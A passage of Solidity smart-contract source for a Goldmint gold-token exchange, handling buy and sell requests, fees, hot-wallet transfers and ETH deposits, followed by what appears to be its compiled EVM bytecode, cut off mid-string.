string memory hash = bytes64ToString(hashA, hashB);
return (sender, userId, hash, buy, state);
}
function cancelRequest(uint _index) onlyManagerOrCreator public {
RequestCancelled(_index);
stor.cancelRequest(_index);
}
function processRequest(uint _index, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public {
require(_index < getRequestsCount());
var (sender, userId, hash, isBuy, state) = getRequest(_index);
require(0 == state);
if (isBuy) {
processBuyRequest(userId, sender, _amountCents, _centsPerGold);
} else {
processSellRequest(userId, sender, _amountCents, _centsPerGold);
}
// 3 - update state
stor.setRequestProcessed(_index);
// 4 - send event
RequestProcessed(_index);
}
function processBuyRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal {
require(keccak256(_userId) != keccak256(""));
uint userFiatBalance = getUserFiatBalance(_userId);
require(userFiatBalance > 0);
if (_amountCents > userFiatBalance) {
_amountCents = userFiatBalance;
}
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = fiatFee.calculateBuyGoldFee(userMntpBalance, _amountCents);
require(_amountCents > fee);
// 1 - issue tokens minus fee
uint amountMinusFee = _amountCents;
if (fee > 0) {
amountMinusFee = safeSub(_amountCents, fee);
}
require(amountMinusFee > 0);
uint tokens = (uint(amountMinusFee) * 1 ether) / _centsPerGold;
issueGoldTokens(_userAddress, tokens);
// request from hot wallet
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, int(tokens));
}
// 2 - add fiat tx
// negative for buy (total amount including fee!)
addFiatTransaction(_userId, - int(_amountCents));
// 3 - send fee to Goldmint
// positive for sell
if (fee > 0) {
string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount());
addFiatTransaction(gmAccount, int(fee));
}
}
function processSellRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal {
require(keccak256(_userId) != keccak256(""));
uint tokens = (uint(_amountCents) * 1 ether) / _centsPerGold;
uint tokenBalance = goldToken.balanceOf(_userAddress);
if (isHotWallet(_userAddress)) {
tokenBalance = getUserHotGoldBalance(_userId);
}
if (tokenBalance < tokens) {
tokens = tokenBalance;
_amountCents = uint((tokens * _centsPerGold) / 1 ether);
}
burnGoldTokens(_userAddress, tokens);
// request from hot wallet
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, - int(tokens));
}
// 2 - add fiat tx
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = fiatFee.calculateSellGoldFee(userMntpBalance, _amountCents);
require(_amountCents > fee);
uint amountMinusFee = _amountCents;
if (fee > 0) {
amountMinusFee = safeSub(_amountCents, fee);
}
require(amountMinusFee > 0);
// positive for sell
addFiatTransaction(_userId, int(amountMinusFee));
// 3 - send fee to Goldmint
if (fee > 0) {
string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount());
addFiatTransaction(gmAccount, int(fee));
}
}
//////// INTERNAL REQUESTS FROM HOT WALLET
function processInternalRequest(string _userId, bool _isBuy, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public {
if (_isBuy) {
processBuyRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold);
} else {
processSellRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold);
}
}
function transferGoldFromHotWallet(address _to, uint _value, string _userId) onlyManagerOrCreator public {
require(keccak256(_userId) != keccak256(""));
uint balance = getUserHotGoldBalance(_userId);
require(balance >= _value);
goldToken.burnTokens(getHotWalletAddress(), _value);
goldToken.issueTokens(_to, _value);
addGoldTransaction(_userId, -int(_value));
}
////////
function issueGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.issueTokens(_userAddress, _tokenAmount);
}
function burnGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.burnTokens(_userAddress, _tokenAmount);
}
function isHotWallet(address _address) internal returns(bool) {
return _address == getHotWalletAddress();
}
///////
function depositEth(uint _requestId) public payable {
require(ethDepositAddress != 0x0);
//min deposit is 0.01 ETH
require(msg.value >= 0.01 * 1 ether);
ethDepositAddress.transfer(msg.value);
EthDeposited(_requestId, msg.sender, msg.value);
}
// do not allow to send money to this contract...
function() external payable {
revert();
}
}
|
0x6060604052600436106101f9576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146101fe578063098c9ff4146102535780630f4d14e91461028c5780631332143c146102a4578063140d3e95146103155780631453d7561461034e5780631ad9f190146103fb57806320bacfbd1461046c57806322ad3b76146104dd57806323b493fe146105325780632ba665e5146105a35780632da5deb41461063f5780633015394c146106f35780633410452a146107165780633cebb8231461073f57806340b5886b1461077857806341431908146107cd5780635dcbc01e146108065780635dd284e3146108ba57806363704e93146108e357806374580e2f1461090c5780639201de551461094557806394002b57146109e55780639aaa575014610a3a5780639c2108eb14610ab45780639e92dfd814610b39578063a08c090814610baa578063a5917dea14610c24578063b28175c414610c9e578063b420feb214610cf3578063c58343ef14610d48578063c6e000b514610e9b578063cf73a1bc14610ef0578063cfb5192814610f45578063d331aeb314610fbe578063d3a56ec314610fe7578063d6bf75301461101c578063e3d6ce2b14611071578063eb36f8e8146110eb578063ebe09a9314611173578063fc1c2180146111ed575b600080fd5b341561020957600080fd5b610211611226565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561025e57600080fd5b61028a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061124b565b005b6102a260048080359060200190919050506112ea565b005b34156102af57600080fd5b6102ff600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506113fc565b6040518082815260200191505060405180910390f35b341561032057600080fd5b61034c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061151e565b005b341561035957600080fd5b610380600480803560001916906020019091908035600019169060200190919050506115bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c05780820151818401526020810190506103a5565b50505050905090810190601f1680156103ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561040657600080fd5b610456600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061186d565b6040518082815260200191505060405180910390f35b341561047757600080fd5b6104c7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611a18565b6040518082815260200191505060405180910390f35b34156104e857600080fd5b6104f0611b95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561053d57600080fd5b61058d600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611bbb565b6040518082815260200191505060405180910390f35b34156105ae57600080fd5b6105c46004808035906020019091905050611cdd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106045780820151818401526020810190506105e9565b50505050905090810190601f1680156106315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561064a57600080fd5b6106dd600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611db8565b6040518082815260200191505060405180910390f35b34156106fe57600080fd5b61071460048080359060200190919050506120ab565b005b341561072157600080fd5b610729612232565b6040518082815260200191505060405180910390f35b341561074a57600080fd5b610776600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122e2565b005b341561078357600080fd5b61078b612410565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d857600080fd5b610804600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124c0565b005b341561081157600080fd5b6108a4600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061255f565b6040518082815260200191505060405180910390f35b34156108c557600080fd5b6108cd612852565b6040518082815260200191505060405180910390f35b34156108ee57600080fd5b6108f6612902565b6040518082815260200191505060405180910390f35b341561091757600080fd5b610943600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506129b2565b005b341561095057600080fd5b61096a600480803560001916906020019091905050612a50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109aa57808201518184015260208101905061098f565b50505050905090810190601f1680156109d75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156109f057600080fd5b6109f8612c3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a4557600080fd5b610a9e600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050612c63565b6040518082815260200191505060405180910390f35b3415610abf57600080fd5b610b37600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e41565b005b3415610b4457600080fd5b610b94600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613164565b6040518082815260200191505060405180910390f35b3415610bb557600080fd5b610c0e600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050613286565b6040518082815260200191505060405180910390f35b3415610c2f57600080fd5b610c9c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803515159060200190919080359060200190919080359060200190919050506133b1565b005b3415610ca957600080fd5b610cb161349c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610cfe57600080fd5b610d066134c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610d5357600080fd5b610d6960048080359060200190919050506134e8565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001851515151581526020018460ff1660ff168152602001838103835287818151815260200191508051906020019080838360005b83811015610df5578082015181840152602081019050610dda565b50505050905090810190601f168015610e225780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019080838360005b83811015610e5b578082015181840152602081019050610e40565b50505050905090810190601f168015610e885780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3415610ea657600080fd5b610eae61362b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610efb57600080fd5b610f03613651565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610f5057600080fd5b610fa0600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613677565b60405180826000191660001916815260200191505060405180910390f35b3415610fc957600080fd5b610fd161368a565b6040518082815260200191505060405180910390f35b3415610ff257600080fd5b61101a600480803590602001909190803590602001909190803590602001909190505061373a565b005b341561102757600080fd5b61102f61393b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561107c57600080fd5b6110d5600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050613965565b6040518082815260200191505060405180910390f35b34156110f657600080fd5b611146600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613b43565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b341561117e57600080fd5b6111d7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050613b64565b6040518082815260200191505060405180910390f35b34156111f857600080fd5b611224600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613d18565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a657600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561133257600080fd5b662386f26fc10000341015151561134857600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156113aa57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16817f68e6c1885896ef6bee8fc3c844a09f7f4216386f01abba29307b8914c078ad10346040518082815260200191505060405180910390a350565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631332143c836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114b1578082015181840152602081019050611496565b50505050905090810190601f1680156114de5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15156114fc57600080fd5b6102c65a03f1151561150d57600080fd5b505050604051805190509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157957600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115c56148d6565b6115cd6148ea565b60008060006115da6148ea565b604080518059106115e85750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156116c6578260080260020a886001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156116b95781858581518110151561168057fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050611608565b600092505b6020831015611789578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561177c5781858581518110151561174357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b82806001019350506116cb565b836040518059106117975750595b9080825280601f01601f19166020018201604052509050600092505b8383101561185f5784838151811015156117c957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818481518110151561182257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350506117b3565b809550505050505092915050565b6000604051806000019050604051809103902060001916826040518082805190602001908083835b6020831015156118ba5780518252602082019150602081019050602083039250611895565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515156118f857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631ad9f190836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119ab578082015181840152602081019050611990565b50505050905090810190601f1680156119d85780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15156119f657600080fd5b6102c65a03f11515611a0757600080fd5b505050604051805190509050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166320bacfbd836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b28578082015181840152602081019050611b0d565b50505050905090810190601f168015611b555780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1515611b7357600080fd5b6102c65a03f11515611b8457600080fd5b505050604051805190509050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b493fe836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c70578082015181840152602081019050611c55565b50505050905090810190601f168015611c9d5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1515611cbb57600080fd5b6102c65a03f11515611ccc57600080fd5b505050604051805190509050919050565b611ce56148d6565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663afa60487856000604051604001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506040805180830381600087803b1515611d8057600080fd5b6102c65a03f11515611d9157600080fd5b5050506040518051906020018051905091509150611daf82826115bd565b92505050919050565b6000604051806000019050604051809103902060001916836040518082805190602001908083835b602083101515611e055780518252602082019150602081019050602083039250611de0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151515611e4357600080fd5b826040518082805190602001908083835b602083101515611e795780518252602082019150602081019050602083039250611e54565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff167f64039d4144848e6235f09f3026345570f208ead88943bde9d45c59bb9b1be0e760405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634e3c50a03385856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015611fd4578082015181840152602081019050611fb9565b50505050905090810190601f1680156120015780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561203a57808201518184015260208101905061201f565b50505050905090810190601f1680156120675780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561208857600080fd5b6102c65a03f1151561209957600080fd5b50505060405180519050905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061215357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561215e57600080fd5b807fee243f878b7fc2f54e934ca33783d4395d42bc07612e2bd4b8e0e178639f7a2860405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633015394c826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561221b57600080fd5b6102c65a03f1151561222c57600080fd5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633410452a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156122c257600080fd5b6102c65a03f115156122d357600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561233d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3d3d448826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156123f957600080fd5b6102c65a03f1151561240a57600080fd5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f6b55a936000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156124a057600080fd5b6102c65a03f115156124b157600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251b57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000604051806000019050604051809103902060001916836040518082805190602001908083835b6020831015156125ac5780518252602082019150602081019050602083039250612587565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515156125ea57600080fd5b826040518082805190602001908083835b60208310151561262057805182526020820191506020810190506020830392506125fb565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390203373ffffffffffffffffffffffffffffffffffffffff167fdba501673f37fb50715ad05058d00cbcf437dfb28ae001931f0fe9834bdc43d560405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306ba29873385856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b8381101561277b578082015181840152602081019050612760565b50505050905090810190601f1680156127a85780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156127e15780820151818401526020810190506127c6565b50505050905090810190601f16801561280e5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b151561282f57600080fd5b6102c65a03f1151561284057600080fd5b50505060405180519050905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635dd284e36000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156128e257600080fd5b6102c65a03f115156128f357600080fd5b50505060405180519050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c4dc6e06000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561299257600080fd5b6102c65a03f115156129a357600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a0d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a586148d6565b612a606148ea565b6000806000612a6d6148ea565b6020604051805910612a7c5750595b9080825280601f01601f1916602001820160405250945060009350600092505b6020831015612b5a578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515612b4d57818585815181101515612b1457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050612a9c565b83604051805910612b685750595b9080825280601f01601f19166020018201604052509050600092505b83831015612c30578483815181101515612b9a57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028184815181101515612bf357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050612b84565b8095505050505050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612d0d57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612d1857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639aaa575084846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612dd2578082015181840152602081019050612db7565b50505050905090810190601f168015612dff5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1515612e1e57600080fd5b6102c65a03f11515612e2f57600080fd5b50505060405180519050905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612eeb57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612ef657600080fd5b604051806000019050604051809103902060001916826040518082805190602001908083835b602083101515612f415780518252602082019150602081019050602083039250612f1c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151515612f7f57600080fd5b612f888261186d565b9050828110151515612f9957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630d1118ce612fdf612410565b856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561306457600080fd5b6102c65a03f1151561307557600080fd5b505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663475a9fa985856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561313c57600080fd5b6102c65a03f1151561314d57600080fd5b50505061315d8284600003612c63565b5050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639e92dfd8836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156132195780820151818401526020810190506131fe565b50505050905090810190601f1680156132465780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b151561326457600080fd5b6102c65a03f1151561327557600080fd5b505050604051805190509050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a08c090884846000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015613342578082015181840152602081019050613327565b50505050905090810190601f16801561336f5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b151561338e57600080fd5b6102c65a03f1151561339f57600080fd5b50505060405180519050905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061345957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561346457600080fd5b82156134825761347d84613476612410565b8484613e46565b613496565b6134958461348e612410565b84846141f9565b5b50505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006134f26148d6565b6134fa6148d6565b60008060008060008060008061350e6148d6565b6135166148d6565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c58343ef8f600060405160c001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060c060405180830381600087803b15156135af57600080fd5b6102c65a03f115156135c057600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190509750975097509750975097506135fd87612a50565b915061360986866115bd565b905087828286869c509c509c509c509c50505050505050505091939590929450565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806020830151905080915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d331aeb36000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561371a57600080fd5b6102c65a03f1151561372b57600080fd5b50505060405180519050905090565b60006137446148d6565b61374c6148d6565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806137f757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561380257600080fd5b61380a612232565b8810151561381757600080fd5b613820886134e8565b945094509450945094508060ff16600014151561383c57600080fd5b81156138535761384e84868989613e46565b613860565b61385f848689896141f9565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327b9c257896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156138f057600080fd5b6102c65a03f1151561390157600080fd5b505050877fbd1d617fa2a013ac57f8b20377694ff2d048f52aad9e1ea4127164dc5c1a065a60405160405180910390a25050505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613a0f57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613a1a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e3d6ce2b84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808060200183815260200182810382528481815181526020019150805190602001908083836